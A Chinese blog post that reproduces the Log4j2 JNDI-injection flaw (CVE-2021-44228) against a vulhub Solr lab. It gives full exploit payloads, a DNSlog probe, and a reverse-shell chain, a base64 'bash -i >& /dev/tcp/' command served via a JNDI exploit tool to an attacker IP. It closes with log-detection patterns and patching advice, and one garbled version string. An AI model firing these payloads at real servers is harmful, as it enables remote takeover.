首页 > 其他分享 >Log4j2远程命令执行【CVE-2021-44228】

Log4j2远程命令执行【CVE-2021-44228】

时间:2022-10-24 12:44:30浏览次数:87  
标签:jndi 2021 Apache 44228 CVE com payload

Log4j2远程命令执行【CVE-2021-44228】

参考:Apache Log4j2 CVE-2021-44228漏洞复现分析

影响范围: Apache Log4j2 2.0.0 ~ 2.15.0-rc1

目前为止已知如下组件存在漏洞

Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare

jdk版本要求

需要注意的有以下几点:

  1. 基于RMI的利用方式,JDK版本限制于6u1327u1318u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码

  2. 基于LDAP的利用方式,JDK版本限制于6u2117u2018u19111.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载

  3. 针对高版本的jdk,即使设置了

    1. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

    可能在利用时也会失败(vulfocus环境),具体原因未查明…表现是ldap接收到请求,但是没往http上重定向,但是本地是ok的

环境搭建

服务启动后,可以访问http://your-ip:8983查看到 Apache Solr 的后台页面。

按照vulhub文档中的步骤来构建payload:https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md

${jndi:dns://${sys:java.version}.example.com}是利用 JNDI 发送 DNS 请求的 Payload,我们将其作为管理员接口的操作参数值发送如下数据包:

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

其中,.example.com填写DNSlog的域名,${sys:java.version}为攻击语句

在线DNSlog平台:

http://dnslog.cn/

http://ceye.io/

以dnslog为例,我们打开网页,点击获取子域,复制子域名

接着抓包构造payload

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.9o7g64.dnslog.cn}

回到网页点击刷新记录,payload执行成功

反弹shell

参考:log4j2(CVE-2021-44228)漏洞复现实操(小白向)

下载exp,工具具体目录在文件中的tools目录下

https://github.com/bkfish/Apache-Log4j-Learning/

https://github.com/welk1n/JNDI-Injection-Exploit/releases

构造payload:

bash -i >& /dev/tcp/192.168.2.104/6666 0>&1
base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA0LzY2NjYgMD4mMQ==

使用工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.2.104

这里会生成两个协议各一个执行命令,这两个协议在log4j2中都有执行权限。我们根据DNSlog平台获取的版本号进行选择,再次构造一个payload

${jndi:rmi://192.168.2.104:1099/o8evhb}

在kali中开启nc监听6666端口,然后将这个payload插入到参数action的后面,回车访问

http://192.168.2.102:8983/solr/admin/cores?${jndi:rmi://192.168.2.104:1099/o8evhb}

回到 kali 中看到 nc 成功反弹 shell

ceye.io

登录后获取标识符

只需要将上述payload中的域名更换即可

排查方法

参考:Apache log4j2-RCE 漏洞复现及修复建议(CVE-2021-44228)

  • pom版本检查
  • 可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为
  • 检查日志中是否存在相关的堆栈报错,堆栈里是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息
  • 各种安全产品

自查工具:

https://sca.seczone.cn/allScanner.zip

https://static.threatbook.cn/tools/log4j-local-check.sh

修复建议

官方方案:

  • 将Log4j框架升级到2.15.0版本:org/apache/loging/logj/logj-core/5.0
  • 不要用2.15.0-rc1和2.15.0-rc2

临时方案

  • 升级JDK
  • 修改log4j配置
    • 设置参数:log4j2.formatMsgNoLookups=True
    • 修改jvm参数:-Dlog4j2.formatMsgNoLookups=true
    • 系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
    • 禁止log4j2所在的服务器外连
  • 使用安全产品防护:WAF、RASP

标签:jndi,2021,Apache,44228,CVE,com,payload
From: https://www.cnblogs.com/-ggbond-/p/16821104.html

相关文章